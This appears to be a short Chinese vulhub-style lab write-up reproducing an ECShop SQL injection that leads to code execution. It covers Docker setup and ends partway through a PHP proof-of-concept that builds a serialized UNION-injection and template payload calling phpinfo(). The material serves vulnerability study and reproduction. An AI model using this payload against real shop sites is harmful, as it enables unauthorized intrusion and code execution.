漏洞描述
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中,存在一处SQL注入漏洞,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞。其3.6.0最新版已修复该漏洞,vulhub中使用其2.7.3最新版与3.6.0次新版进行漏洞复现。

环境搭建
执行如下命令启动ecshop 2.7.3与3.6.0:
docker-compose up -d
环境启动后,访问http://your-ip:8080将看到2.7.3的安装页面,访问http://your-ip:8081将看到3.6.0的安装页面。
依次安装二者,mysql地址填写mysql,mysql账户与密码均为root,数据库名随意填写,但2.7.3与3.6.0的数据库名不能相同。
注册普通用户user。
漏洞复现
POC脚本:
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/";
$arr = [
"num" => sprintf('
/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];

$s = serialize($arr);
